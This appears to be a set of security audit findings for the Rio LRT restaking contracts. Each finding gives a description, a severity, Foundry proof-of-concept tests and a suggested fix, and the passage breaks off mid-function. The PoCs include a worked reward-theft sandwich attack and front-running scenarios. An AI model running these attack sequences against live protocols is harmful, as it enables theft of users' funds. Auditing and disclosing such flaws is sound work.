```\\nfunction getOperatorUtilizationHeapForETH(RioLRTOperatorRegistryStorageV1.StorageV1 storage s)\\n internal\\n view\\n returns (OperatorUtilizationHeap.Data memory heap)\\n {\\n uint8 numActiveOperators = s.activeOperatorCount;\\n if (numActiveOperators == 0) return OperatorUtilizationHeap.Data(new OperatorUtilizationHeap.Operator[](0), 0);\\n\\n heap = OperatorUtilizationHeap.initialize(MAX_ACTIVE_OPERATOR_COUNT);\\n\\n uint256 activeDeposits;\\n IRioLRTOperatorRegistry.OperatorValidatorDetails memory validators;\\n unchecked {\\n uint8 i;\\n for (i = 0; i < numActiveOperators; ++i) {\\n uint8 operatorId = s.activeOperatorsByETHDepositUtilization.get(i);\\n\\n // Non-existent operator ID. We've reached the end of the heap.\\n if (operatorId == 0) break;\\n\\n validators = s.operatorDetails[operatorId].validatorDetails;\\n activeDeposits = validators.deposited - validators.exited;\\n heap.operators[i + 1] = OperatorUtilizationHeap.Operator({\\n id: operatorId,\\n utilization: activeDeposits.divWad(validators.cap)\\n });\\n }\\n heap.count = i;\\n }\\n }\\n```\\n
Heap is incorrectly stores the removed operator ID which can lead to division by zero in deposit/withdrawal flow
high
An operator's strategy can be reset by the owner calling `setOperatorStrategyCaps` to "0". This action sets the utilization to "0" and removes the operator from the heap. Consequently, this means that the operator has unwound all its strategy shares and can no longer receive any more deposits. However, due to how the heap is organized, if an operator who had funds before is reset to "0", the heap will not successfully remove the operator. As a result, when ordering the heap, a division by "0" will occur, causing the transaction to revert on deposits and withdrawals indefinitely.\\nIn order to break down the issue, let's divide the issue to 2 parts which their combination is the issue itself\\n1- Heap is not removing the removed ID from the heaps storage when the operator is removed\\nWhen the operator is removed, the operator will be removed from the heap as follows:\\n```\\nfunction setOperatorStrategyCap(\\n RioLRTOperatorRegistryStorageV1.StorageV1 storage s,\\n uint8 operatorId,\\n IRioLRTOperatorRegistry.StrategyShareCap memory newShareCap\\n ) internal {\\n .\\n OperatorUtilizationHeap.Data memory utilizationHeap = s.getOperatorUtilizationHeapForStrategy(newShareCap.strategy);\\n // If the current cap is greater than 0 and the new cap is 0, remove the operator from the strategy.\\n if (currentShareDetails.cap > 0 && newShareCap.cap == 0) {\\n // If the operator has allocations, queue them for exit.\\n if (currentShareDetails.allocation > 0) {\\n operatorDetails.queueOperatorStrategyExit(operatorId, newShareCap.strategy);\\n }\\n // Remove the operator from the utilization heap.\\n -> utilizationHeap.removeByID(operatorId);\\n }\\n .\\n\\n // Persist the updated heap to the active operators tracking.\\n -> utilizationHeap.store(s.activeOperatorsByStrategyShareUtilization[newShareCap.strategy]);\\n .\\n }\\n```\\n\\n`removeByID` calls the internal `_remove` function which is NOT removes the last element! `self.count` is decreased however, the index is still the previous value of the `self.count`\\n```\\nfunction _remove(Data memory self, uint8 i) internal pure {\\n self.operators[i] = self.operators[self.count--];\\n }\\n```\\n\\nFor example, if there are 3 operators as follows: operatorId: 1, utilization: 50% operatorId: 2, utilization: 60% operatorId: 3, utilization: 70% then, the `heap.count` would be 3 and the order would be: 1, 2, 3 in the heap heap.operators[1] = operatorId 1 heap.operators[2] = operatorId 2 heap.operators[3] = operatorId 3\\nif we remove the operator Id 2: `heap.count` = 2 order: 1,3 heap.operators[1] = operatorId 1 heap.operators[2] = operatorId 2 heap.operators[3] = operatorId 0 THIS SHOULD BE "0" since its removed but it is "3" in the current implementation!\\nAs shown here, the operators[3] should be "0" since there isn't any operator3 in the heap anymore but the heap keeps the value and not resets it.\\nHere a test shows the above issue:\\n```\\n// forge test --match-contract OperatorUtilizationHeapTest --match-test test_removingDoesNotUpdatesStoredHeap -vv\\n function test_removingDoesNotUpdatesStoredHeap() public {\\n OperatorUtilizationHeap.Data memory heap = OperatorUtilizationHeap.initialize(5);\\n\\n heap.insert(OperatorUtilizationHeap.Operator({id: 1, utilization: 50}));\\n heap.store(heapStore);\\n\\n heap.insert(OperatorUtilizationHeap.Operator({id: 2, utilization: 60}));\\n heap.store(heapStore);\\n\\n heap.insert(OperatorUtilizationHeap.Operator({id: 3, utilization: 70}));\\n heap.store(heapStore);\\n\\n console.log("Heaps count", heap.count);\\n console.log("1st", heap.operators[1].id);\\n console.log("2nd", heap.operators[2].id);\\n console.log("3rd", heap.operators[3].id);\\n\\n // remove 2\\n heap.removeByID(3);\\n heap.store(heapStore);\\n\\n console.log("Heaps count", heap.count);\\n console.log("1st", heap.operators[1].id);\\n console.log("2nd", heap.operators[2].id);\\n console.log("3rd", heap.operators[3].id);\\n }\\n```\\n\\nLogs:\\n2- When the operator cap is reseted the allocations/deallocations will not work due to above heap issue because of division by zero\\nNow, take the above example, we removed the operatorId 3 from the heap by setting its cap to "0". Now, there are only operators 1 and 2 active for that specific strategy. When there are idle funds in the deposit pool before the rebalance call, the excess funds that are not requested as withdrawals will be pushed to EigenLayer as follows:\\n```\\nfunction rebalance(address asset) external checkRebalanceDelayMet(asset) {\\n .\\n .\\n -> (uint256 sharesReceived, bool isDepositCapped) = depositPool().depositBalanceIntoEigenLayer(asset);\\n .\\n }\\n```\\n\\n```\\n function depositBalanceIntoEigenLayer(address asset) external onlyCoordinator returns (uint256, bool) {\\n uint256 amountToDeposit = asset.getSelfBalance();\\n if (amountToDeposit == 0) return (0, false);\\n .\\n .\\n -> return (OperatorOperations.depositTokenToOperators(operatorRegistry(), asset, strategy, sharesToAllocate), isDepositCapped);\\n }\\n```\\n\\n```\\nfunction depositTokenToOperators(\\n IRioLRTOperatorRegistry operatorRegistry,\\n address token,\\n address strategy,\\n uint256 sharesToAllocate\\n ) internal returns (uint256 sharesReceived) {\\n -> (uint256 sharesAllocated, IRioLRTOperatorRegistry.OperatorStrategyAllocation[] memory allocations) = operatorRegistry.allocateStrategyShares(\\n strategy, sharesToAllocate\\n );\\n .\\n .\\n }\\n```\\n\\n```\\nfunction allocateStrategyShares(address strategy, uint256 sharesToAllocate) external onlyDepositPool returns (uint256 sharesAllocated, OperatorStrategyAllocation[] memory allocations) {\\n -> OperatorUtilizationHeap.Data memory heap = s.getOperatorUtilizationHeapForStrategy(strategy);\\n .\\n .\\n .\\n .\\n }\\n```\\n\\n```\\nfunction getOperatorUtilizationHeapForStrategy(RioLRTOperatorRegistryStorageV1.StorageV1 storage s, address strategy) internal view returns (OperatorUtilizationHeap.Data memory heap) {\\n uint8 numActiveOperators = s.activeOperatorCount;\\n if (numActiveOperators == 0) return OperatorUtilizationHeap.Data(new OperatorUtilizationHeap.Operator[](0), 0);\\n \\n heap = OperatorUtilizationHeap.initialize(MAX_ACTIVE_OPERATOR_COUNT);\\n LibMap.Uint8Map storage operators = s.activeOperatorsByStrategyShareUtilization[strategy];\\n\\n IRioLRTOperatorRegistry.OperatorShareDetails memory operatorShares;\\n unchecked {\\n uint8 i;\\n for (i = 0; i < numActiveOperators; ++i) {\\n uint8 operatorId = operators.get(i);\\n\\n // Non-existent operator ID. We've reached the end of the heap.\\n if (operatorId == 0) break;\\n\\n operatorShares = s.operatorDetails[operatorId].shareDetails[strategy];\\n heap.operators[i + 1] = OperatorUtilizationHeap.Operator({\\n id: operatorId,\\n -> utilization: operatorShares.allocation.divWad(operatorShares.cap)\\n });\\n }\\n heap.count = i;\\n }\\n }\\n```\\n\\nAs we can see in one above code snippet, the `numActiveOperators` is 3. Since the stored heaps last element is not set to "0" it will point to operatorId 3 which has a cap of "0" after the removal. This will make the\\n```\\nutilization: operatorShares.allocation.divWad(operatorShares.cap)\\n```\\n\\npart of the code to perform a division by zero and the function will revert.\\nCoded PoC:\\n```\\n// forge test --match-contract RioLRTOperatorRegistryTest --match-test test_Capped0ValidatorBricksFlow -vv\\n function test_Capped0ValidatorBricksFlow() public {\\n // Add 3 operators\\n addOperatorDelegators(reLST.operatorRegistry, address(reLST.rewardDistributor), 3);\\n\\n // The caps for each operator is 1000e18, we will delete the id 2 so we need funds there\\n // any number that is more than 1000 should be ok for that experiement \\n uint256 AMOUNT = 1002e18;\\n\\n // Allocate to cbETH strategy.\\n cbETH.approve(address(reLST.coordinator), type(uint256).max);\\n uint256 lrtAmount = reLST.coordinator.deposit(CBETH_ADDRESS, AMOUNT);\\n\\n // Push funds into EigenLayer.\\n vm.prank(EOA, EOA);\\n reLST.coordinator.rebalance(CBETH_ADDRESS);\\n\\n // Build the empty caps\\n IRioLRTOperatorRegistry.StrategyShareCap[] memory zeroStrategyShareCaps =\\n new IRioLRTOperatorRegistry.StrategyShareCap[](1);\\n zeroStrategyShareCaps[0] = IRioLRTOperatorRegistry.StrategyShareCap({strategy: CBETH_STRATEGY, cap: 0});\\n\\n // Set the caps of CBETH_STRATEGY for operator 2 as "0"\\n reLST.operatorRegistry.setOperatorStrategyShareCaps(2, zeroStrategyShareCaps);\\n\\n // Try an another deposit, we expect revert when we do the rebalance\\n reLST.coordinator.deposit(CBETH_ADDRESS, 10e18);\\n\\n // Push funds into EigenLayer. Expect revert, due to division by "0"\\n skip(reETH.coordinator.rebalanceDelay());\\n vm.startPrank(EOA, EOA);\\n vm.expectRevert(bytes4(keccak256("DivWadFailed()")));\\n reLST.coordinator.rebalance(CBETH_ADDRESS);\\n vm.stopPrank();\\n }\\n```\\n
When removing from the heap also remove the last element from the heap.\\nI am not sure of this, but this might work\\n```\\nfunction _remove(Data memory self, uint8 i) internal pure {\\n self.operators[i] = self.operators[--self.count];\\n }\\n```\\n
Core logic broken, withdrawal/deposits can not be performed.
```\\nfunction setOperatorStrategyCap(\\n RioLRTOperatorRegistryStorageV1.StorageV1 storage s,\\n uint8 operatorId,\\n IRioLRTOperatorRegistry.StrategyShareCap memory newShareCap\\n ) internal {\\n .\\n OperatorUtilizationHeap.Data memory utilizationHeap = s.getOperatorUtilizationHeapForStrategy(newShareCap.strategy);\\n // If the current cap is greater than 0 and the new cap is 0, remove the operator from the strategy.\\n if (currentShareDetails.cap > 0 && newShareCap.cap == 0) {\\n // If the operator has allocations, queue them for exit.\\n if (currentShareDetails.allocation > 0) {\\n operatorDetails.queueOperatorStrategyExit(operatorId, newShareCap.strategy);\\n }\\n // Remove the operator from the utilization heap.\\n -> utilizationHeap.removeByID(operatorId);\\n }\\n .\\n\\n // Persist the updated heap to the active operators tracking.\\n -> utilizationHeap.store(s.activeOperatorsByStrategyShareUtilization[newShareCap.strategy]);\\n .\\n }\\n```\\n
Ether can stuck when an operators validators are removed due to an user front-running
medium
When a full withdrawal occurs in the EigenPod, the excess amount can remain idle within the EigenPod and can only be swept by calling a function in the delegator contract of a specific operator. However, in cases where the owner removes all validators for emergencies or any other reason, a user can frontrun the transaction, willingly or not, causing the excess ETH to become stuck in the EigenPod. The only way to recover the ether would be for the owner to reactivate the validators, which may not be intended since the owner initially wanted to remove all the validators and now needs to add them again.\\nLet's assume a Layered Relay Token (LRT) with a beacon chain strategy and only two operators for simplicity. Each operator is assigned two validators, allowing each operator to stake 64 ETH in the PoS staking via the EigenPod.\\nThis function triggers a full withdrawal from the operator's delegator EigenPod. The `queueOperatorStrategyExit` function will withdraw the entire validator balance as follows:\\n```\\nif (validatorDetails.cap > 0 && newValidatorCap == 0) {\\n // If there are active deposits, queue the operator for strategy exit.\\n if (activeDeposits > 0) {\\n -> operatorDetails.queueOperatorStrategyExit(operatorId, BEACON_CHAIN_STRATEGY);\\n .\\n }\\n .\\n } else if (validatorDetails.cap == 0 && newValidatorCap > 0) {\\n .\\n } else {\\n .\\n }\\n```\\n\\n`operatorDetails.queueOperatorStrategyExit` function will full withdraw the entire validator balance as follows:\\n```\\nfunction queueOperatorStrategyExit(IRioLRTOperatorRegistry.OperatorDetails storage operator, uint8 operatorId, address strategy) internal {\\n IRioLRTOperatorDelegator delegator = IRioLRTOperatorDelegator(operator.delegator);\\n\\n uint256 sharesToExit;\\n if (strategy == BEACON_CHAIN_STRATEGY) {\\n // Queues an exit for verified validators only. Unverified validators must by exited once verified,\\n // and ETH must be scraped into the deposit pool. Exits are rounded to the nearest Gwei. It is not\\n // possible to exit ETH with precision less than 1 Gwei. We do not populate `sharesToExit` if the\\n // Eigen Pod shares are not greater than 0.\\n int256 eigenPodShares = delegator.getEigenPodShares();\\n if (eigenPodShares > 0) {\\n sharesToExit = uint256(eigenPodShares).reducePrecisionToGwei();\\n }\\n } else {\\n .\\n }\\n .\\n }\\n```\\n\\nAs observed, the entire EigenPod shares are requested as a withdrawal, which is 64 Ether. However, a user can request a 63 Ether withdrawal before the owner's transaction from the coordinator, which would also trigger a full withdrawal of 64 Ether. In the end, the user would receive 63 Ether, leaving 1 Ether idle in the EigenPod:\\n```\\nfunction queueETHWithdrawalFromOperatorsForUserSettlement(IRioLRTOperatorRegistry operatorRegistry, uint256 amount) internal returns (bytes32 aggregateRoot) {\\n .\\n for (uint256 i = 0; i < length; ++i) {\\n address delegator = operatorDepositDeallocations[i].delegator;\\n\\n -> // Ensure we do not send more than needed to the withdrawal queue. The remaining will stay in the Eigen Pod.\\n uint256 amountToWithdraw = (i == length - 1) ? remainingAmount : operatorDepositDeallocations[i].deposits * ETH_DEPOSIT_SIZE;\\n\\n remainingAmount -= amountToWithdraw;\\n roots[i] = IRioLRTOperatorDelegator(delegator).queueWithdrawalForUserSettlement(BEACON_CHAIN_STRATEGY, amountToWithdraw);\\n }\\n .\\n }\\n```\\n\\nIn such a scenario, the queued amount would be 63 Ether, and 1 Ether would remain idle in the EigenPod. Since the owner's intention was to shut down the validators in the operator for good, that 1 Ether needs to be scraped as well. However, the owner is unable to sweep it due to MIN_EXCESS_FULL_WITHDRAWAL_ETH_FOR_SCRAPE:\\n```\\nfunction scrapeExcessFullWithdrawalETHFromEigenPod() external {\\n // @review this is 1 ether\\n uint256 ethWithdrawable = eigenPod.withdrawableRestakedExecutionLayerGwei().toWei();\\n // @review this is also 1 ether\\n -> uint256 ethQueuedForWithdrawal = getETHQueuedForWithdrawal();\\n if (ethWithdrawable <= ethQueuedForWithdrawal + MIN_EXCESS_FULL_WITHDRAWAL_ETH_FOR_SCRAPE) {\\n revert INSUFFICIENT_EXCESS_FULL_WITHDRAWAL_ETH();\\n }\\n _queueWithdrawalForOperatorExitOrScrape(BEACON_CHAIN_STRATEGY, ethWithdrawable - ethQueuedForWithdrawal);\\n }\\n```\\n\\nWhich means that owner has to set the validator caps for the operator again to recover that 1 ether which might not be possible since the owner decided to shutdown the entire validators for the specific operator.\\nAnother scenario from same root cause: 1- There are 64 ether in an operator 2- Someone requests a withdrawal of 50 ether 3- All 64 ether is withdrawn from beacon chain 4- 50 ether sent to the users withdrawal, 14 ether is idle in the EigenPod waiting for someone to call `scrapeExcessFullWithdrawalETHFromEigenPod` 5- An user quickly withdraws 13 ether 6- `withdrawableRestakedExecutionLayerGwei` is 1 ether and `INSUFFICIENT_EXCESS_FULL_WITHDRAWAL_ETH` also 1 ether. Which means the 1 ether can't be re-added to deposit pool until someone withdraws.\\nCoded PoC:\\n```\\n// forge test --match-contract RioLRTOperatorDelegatorTest --match-test test_StakeETHCalledWith0Ether -vv\\n function test_StuckEther() public {\\n uint8 operatorId = addOperatorDelegator(reETH.operatorRegistry, address(reETH.rewardDistributor));\\n address operatorDelegator = reETH.operatorRegistry.getOperatorDetails(operatorId).delegator;\\n\\n uint256 TVL = 64 ether;\\n uint256 WITHDRAWAL_AMOUNT = 63 ether;\\n RioLRTOperatorDelegator delegatorContract = RioLRTOperatorDelegator(payable(operatorDelegator));\\n\\n // Allocate ETH.\\n reETH.coordinator.depositETH{value: TVL - address(reETH.depositPool).balance}();\\n\\n\\n // Push funds into EigenLayer.\\n vm.prank(EOA, EOA);\\n reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n\\n // Verify validator withdrawal credentials.\\n uint40[] memory validatorIndices = verifyCredentialsForValidators(reETH.operatorRegistry, operatorId, 2);\\n\\n\\n // Verify and process two full validator exits.\\n verifyAndProcessWithdrawalsForValidatorIndexes(operatorDelegator, validatorIndices);\\n\\n // Withdraw some funds.\\n reETH.coordinator.requestWithdrawal(ETH_ADDRESS, WITHDRAWAL_AMOUNT);\\n uint256 withdrawalEpoch = reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS);\\n\\n // Skip ahead and rebalance to queue the withdrawal within EigenLayer.\\n skip(reETH.coordinator.rebalanceDelay());\\n\\n vm.prank(EOA, EOA);\\n reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n // Verify and process two full validator exits.\\n verifyAndProcessWithdrawalsForValidatorIndexes(operatorDelegator, validatorIndices);\\n\\n // Settle with withdrawal epoch.\\n IDelegationManager.Withdrawal[] memory withdrawals = new IDelegationManager.Withdrawal[](1);\\n withdrawals[0] = IDelegationManager.Withdrawal({\\n staker: operatorDelegator,\\n delegatedTo: address(1),\\n withdrawer: address(reETH.withdrawalQueue),\\n nonce: 0,\\n startBlock: 1,\\n strategies: BEACON_CHAIN_STRATEGY.toArray(),\\n shares: WITHDRAWAL_AMOUNT.toArray()\\n });\\n reETH.withdrawalQueue.settleEpochFromEigenLayer(ETH_ADDRESS, withdrawalEpoch, withdrawals, new uint256[](1));\\n\\n vm.expectRevert(bytes4(keccak256("INSUFFICIENT_EXCESS_FULL_WITHDRAWAL_ETH()")));\\n delegatorContract.scrapeExcessFullWithdrawalETHFromEigenPod();\\n }\\n```\\n
Make an emergency function which owner can scrape the excess eth regardless of `MIN_EXCESS_FULL_WITHDRAWAL_ETH_FOR_SCRAPE`
Owner needs to set the caps again to recover the 1 ether. However, the validators are removed for a reason and adding operators again would probably be not intended since it was a shutdown. Hence, I'll label this as medium.
```\\nif (validatorDetails.cap > 0 && newValidatorCap == 0) {\\n // If there are active deposits, queue the operator for strategy exit.\\n if (activeDeposits > 0) {\\n -> operatorDetails.queueOperatorStrategyExit(operatorId, BEACON_CHAIN_STRATEGY);\\n .\\n }\\n .\\n } else if (validatorDetails.cap == 0 && newValidatorCap > 0) {\\n .\\n } else {\\n .\\n }\\n```\\n
A part of ETH rewards can be stolen by sandwiching `claimDelayedWithdrawals()`
medium
Rewards can be stolen by sandwiching the call to EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals().\\nThe protocol handles ETH rewards by sending them to the rewards distributor. There are at least 3 flows that end-up sending funds there:\\nWhen the function RioLRTOperatorDelegator::scrapeNonBeaconChainETHFromEigenPod() is called to scrape non beacon chain ETH from an Eigenpod.\\nWhen a validator receives rewards via partial withdrawals after the function EigenPod::verifyAndProcessWithdrawals() is called.\\nWhen a validator exists and has more than 32ETH the excess will be sent as rewards after the function EigenPod::verifyAndProcessWithdrawals() is called.\\nAll of these 3 flows end up queuing a withdrawal to the rewards distributor. After a delay the rewards can claimed by calling the permissionless function EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals(), this call will instantly increase the TVL of the protocol.\\nAn attacker can take advantage of this to steal a part of the rewards:\\nMint a sensible amount of `LRTTokens` by depositing an accepted asset\\nCall EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals(), after which the value of the `LRTTokens` just minted will immediately increase.\\nRequest a withdrawal for all the `LRTTokens` via RioLRTCoordinator::requestWithdrawal().\\nPOC\\nChange RioLRTRewardsDistributor::receive() (to side-step a gas limit bug:\\n```\\nreceive() external payable {\\n (bool success,) = address(rewardDistributor()).call{value: msg.value}('');\\n require(success);\\n}\\n```\\n\\nAdd the following imports to RioLRTOperatorDelegator:\\n```\\nimport {IRioLRTWithdrawalQueue} from 'contracts/interfaces/IRioLRTWithdrawalQueue.sol';\\nimport {IRioLRTOperatorRegistry} from 'contracts/interfaces/IRioLRTOperatorRegistry.sol';\\nimport {CredentialsProofs, BeaconWithdrawal} from 'test/utils/beacon-chain/MockBeaconChain.sol';\\n```\\n\\nTo copy-paste in RioLRTOperatorDelegator.t.sol:\\n```\\nfunction test_stealRewards() public {\\n address alice = makeAddr("alice");\\n address bob = makeAddr("bob");\\n uint256 aliceInitialBalance = 40e18;\\n uint256 bobInitialBalance = 40e18;\\n deal(alice, aliceInitialBalance);\\n deal(bob, bobInitialBalance);\\n vm.prank(alice);\\n reETH.token.approve(address(reETH.coordinator), type(uint256).max);\\n vm.prank(bob);\\n reETH.token.approve(address(reETH.coordinator), type(uint256).max);\\n\\n //->Operator delegator and validators are added to the protocol\\n uint8 operatorId = addOperatorDelegator(reETH.operatorRegistry, address(reETH.rewardDistributor));\\n RioLRTOperatorDelegator operatorDelegator =\\n RioLRTOperatorDelegator(payable(reETH.operatorRegistry.getOperatorDetails(operatorId).delegator));\\n\\n //-> Alice deposits ETH in the protocol\\n vm.prank(alice);\\n reETH.coordinator.depositETH{value: aliceInitialBalance}();\\n \\n //-> Rebalance is called and the ETH deposited in a validator\\n vm.prank(EOA, EOA);\\n reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n //-> Create a new validator with a 40ETH balance and verify his credentials.\\n //-> This is to "simulate" rewards accumulation\\n uint40[] memory validatorIndices = new uint40[](1);\\n IRioLRTOperatorRegistry.OperatorPublicDetails memory details = reETH.operatorRegistry.getOperatorDetails(operatorId);\\n bytes32 withdrawalCredentials = operatorDelegator.withdrawalCredentials();\\n beaconChain.setNextTimestamp(block.timestamp);\\n CredentialsProofs memory proofs;\\n (validatorIndices[0], proofs) = beaconChain.newValidator({\\n balanceWei: 40 ether,\\n withdrawalCreds: abi.encodePacked(withdrawalCredentials)\\n });\\n \\n //-> Verify withdrawal crendetials\\n vm.prank(details.manager);\\n reETH.operatorRegistry.verifyWithdrawalCredentials(\\n operatorId,\\n proofs.oracleTimestamp,\\n proofs.stateRootProof,\\n proofs.validatorIndices,\\n proofs.validatorFieldsProofs,\\n proofs.validatorFields\\n );\\n\\n //-> A full withdrawal for the validator is processed, 8ETH (40ETH - 32ETH) will be queued as rewards\\n verifyAndProcessWithdrawalsForValidatorIndexes(address(operatorDelegator), validatorIndices);\\n\\n //-> Bob, an attacker, does the following:\\n // 1. Deposits 40ETH and receives ~40e18 LRTTokens\\n // 2. Cliam the withdrawal for the validator, which will instantly increase the TVL by ~7.2ETH\\n // 3. Requests a withdrawal with all of the LRTTokens \\n {\\n //1. Deposits 40ETH and receives ~40e18 LRTTokens\\n vm.startPrank(bob);\\n reETH.coordinator.depositETH{value: bobInitialBalance}();\\n\\n //2. Cliam the withdrawal for the validator, which will instantly increase the TVL by ~7.2ETH\\n uint256 TVLBefore = reETH.assetRegistry.getTVL();\\n delayedWithdrawalRouter.claimDelayedWithdrawals(address(operatorDelegator), 1); \\n uint256 TVLAfter = reETH.assetRegistry.getTVL();\\n\\n //->TVL increased by 7.2ETH\\n assertEq(TVLAfter - TVLBefore, 7.2e18);\\n\\n //3. Requests a withdrawal with all of the LRTTokens \\n reETH.coordinator.requestWithdrawal(ETH_ADDRESS, reETH.token.balanceOf(bob));\\n vm.stopPrank();\\n }\\n \\n //-> Wait and rebalance\\n skip(reETH.coordinator.rebalanceDelay());\\n vm.prank(EOA, EOA);\\n reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n //-> Bob withdraws the funds he requested\\n vm.prank(bob);\\n reETH.withdrawalQueue.claimWithdrawalsForEpoch(IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch: 0}));\\n\\n //-> Bob has stole ~50% of the rewards and has 3.59ETH more than he initially started with\\n assertGt(bob.balance, bobInitialBalance);\\n assertEq(bob.balance - bobInitialBalance, 3599550056000000000);\\n}\\n```\\n
When requesting withdrawals via RioLRTCoordinator::requestWithdrawal() don't distribute the rewards received in the current epoch.
Rewards can be stolen by sandwiching the call to EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals(), however this requires a bigger investment in funds the higher the protocol TVL.
```\\nreceive() external payable {\\n (bool success,) = address(rewardDistributor()).call{value: msg.value}('');\\n require(success);\\n}\\n```\\n
The protocol can't receive rewards because of low gas limits on ETH transfers
medium
The hardcoded gas limit of the Asset::transferETH() function, used to transfer ETH in the protocol, is too low and will result unwanted reverts.\\nETH transfers in the protocol are always done via Asset::transferETH(), which performs a low-level call with an hardcoded gas limit of 10_000:\\n```\\n(bool success,) = recipient.call{value: amount, gas: 10_000}('');\\nif (!success) {revert ETH_TRANSFER_FAILED();}\\n```\\n\\nThe hardcoded `10_000` gas limit is not high enough for the protocol to be able receive and distribute rewards. Rewards are currently only available for native ETH, an are received by Rio via:\\nPartial withdrawals\\nETH in excess of `32ETH` on full withdrawals\\nThe flow to receive rewards requires two steps:\\nAn initial call to EigenPod::verifyAndProcessWithdrawals(), which queues a withdrawal to the Eigenpod owner: an `RioLRTOperatorDelegator` instance\\nA call to DelayedWithdrawalRouter::claimDelayedWithdrawals().\\nThe call to DelayedWithdrawalRouter::claimDelayedWithdrawals() triggers the following flow:\\nETH are transferred to the RioLRTOperatorDelegator instance, where the `receive()` function is triggered.\\nThe `receive()` function of RioLRTOperatorDelegator transfers ETH via Asset::transferETH() to the RioLRTRewardDistributor, where another `receive()` function is triggered.\\nThe `receive()` function of RioLRTRewardDistributor transfers ETH via Asset::transferETH() to the `treasury`, the `operatorRewardPool` and the `RioLRTDepositPool`.\\nThe gas is limited at `10_000` in step `2` and is not enough to perform step `3`, making it impossible for the protocol to receive rewards and leaving funds stuck.\\nPOC\\nAdd the following imports to RioLRTOperatorDelegator.t.sol:\\n```\\nimport {IRioLRTOperatorRegistry} from 'contracts/interfaces/IRioLRTOperatorRegistry.sol';\\nimport {RioLRTOperatorDelegator} from 'contracts/restaking/RioLRTOperatorDelegator.sol';\\nimport {CredentialsProofs, BeaconWithdrawal} from 'test/utils/beacon-chain/MockBeaconChain.sol';\\n```\\n\\nthen copy-paste:\\n```\\nfunction test_outOfGasOnRewards() public {\\n address alice = makeAddr("alice");\\n uint256 initialBalance = 40e18;\\n deal(alice, initialBalance);\\n vm.prank(alice);\\n reETH.token.approve(address(reETH.coordinator), type(uint256).max);\\n\\n //->Operator delegator and validators are added to the protocol\\n uint8 operatorId = addOperatorDelegator(reETH.operatorRegistry, address(reETH.rewardDistributor));\\n RioLRTOperatorDelegator operatorDelegator =\\n RioLRTOperatorDelegator(payable(reETH.operatorRegistry.getOperatorDetails(operatorId).delegator));\\n\\n //-> Alice deposits ETH in the protocol\\n vm.prank(alice);\\n reETH.coordinator.depositETH{value: initialBalance}();\\n \\n //-> Rebalance is called and the ETH deposited in a validator\\n vm.prank(EOA, EOA);\\n reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n //-> Create a new validator with a 40ETH balance and verify his credentials.\\n //-> This is to "simulate" rewards accumulation\\n uint40[] memory validatorIndices = new uint40[](1);\\n IRioLRTOperatorRegistry.OperatorPublicDetails memory details = reETH.operatorRegistry.getOperatorDetails(operatorId);\\n bytes32 withdrawalCredentials = operatorDelegator.withdrawalCredentials();\\n beaconChain.setNextTimestamp(block.timestamp);\\n CredentialsProofs memory proofs;\\n (validatorIndices[0], proofs) = beaconChain.newValidator({\\n balanceWei: 40 ether,\\n withdrawalCreds: abi.encodePacked(withdrawalCredentials)\\n });\\n \\n //-> Verify withdrawal crendetials\\n vm.prank(details.manager);\\n reETH.operatorRegistry.verifyWithdrawalCredentials(\\n operatorId,\\n proofs.oracleTimestamp,\\n proofs.stateRootProof,\\n proofs.validatorIndices,\\n proofs.validatorFieldsProofs,\\n proofs.validatorFields\\n );\\n\\n //-> Process a full withdrawal, 8ETH (40ETH - 32ETH) will be queued withdrawal as "rewards"\\n verifyAndProcessWithdrawalsForValidatorIndexes(address(operatorDelegator), validatorIndices);\\n\\n //-> Call `claimDelayedWithdrawals` to claim the withdrawal\\n delayedWithdrawalRouter.claimDelayedWithdrawals(address(operatorDelegator), 1); //❌ Reverts for out-of-gas\\n}\\n```\\n
Remove the hardcoded `10_000` gas limit in Asset::transferETH(), at least on ETH transfers where the destination is a protocol controlled contract.
The protocol is unable to receive rewards and the funds will be stucked.
```\\n(bool success,) = recipient.call{value: amount, gas: 10_000}('');\\nif (!success) {revert ETH_TRANSFER_FAILED();}\\n```\\n
Stakers can avoid validator penalties
medium
Stakers can frontrun validators penalties and slashing events with a withdrawal request in order to avoid the loss, this is possible if the deposit pool has enough liquidity available.\\nValidators can lose part of their deposit via penalties or slashing events:\\nIn case of penalties Eigenlayer can be notified of the balance drop via the permissionless function EigenPod::verifyBalanceUpdates().\\nIn case of slashing the validator is forced to exit and Eigenlayer can be notified via the permissionless function EigenPod::verifyAndProcessWithdrawals() because the slashing event is effectively a full withdrawal.\\nAs soon as either EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals() is called the TVL of the Rio protocol drops instantly. This is because both of the functions update the variable podOwnerShares[podOwner]:\\nEigenPod::verifyBalanceUpdates() will update the variable here\\nEigenPod::verifyAndProcessWithdrawals() will update the variable here\\nThis makes it possible for stakers to:\\nRequest a withdrawal via RioLRTCoordinator::rebalance() for all the `LRTTokens` held.\\nCall either EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals().\\nAt this point when RioLRTCoordinator::rebalance() will be called and a withdrawal will be queued that does not include penalties or slashing.\\nIt's possible to withdraw `LRTTokens` while avoiding penalties or slashing up to the amount of liquidity available in the deposit pool.\\nPOC\\nI wrote a POC whose main point is to show that requesting a withdrawal before an instant TVL drop will withdraw the full amount requested without taking the drop into account. The POC doesn't show that EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals() actually lowers the TVL because I wasn't able to implement it in the tests.\\nAdd imports to RioLRTCoordinator.t.sol:\\n```\\nimport {IRioLRTOperatorRegistry} from 'contracts/interfaces/IRioLRTOperatorRegistry.sol';\\nimport {RioLRTOperatorDelegator} from 'contracts/restaking/RioLRTOperatorDelegator.sol';\\nimport {CredentialsProofs, BeaconWithdrawal} from 'test/utils/beacon-chain/MockBeaconChain.sol';\\n```\\n\\nthen copy-paste:\\n```\\nIRioLRTOperatorRegistry.StrategyShareCap[] public emptyStrategyShareCaps;\\nfunction 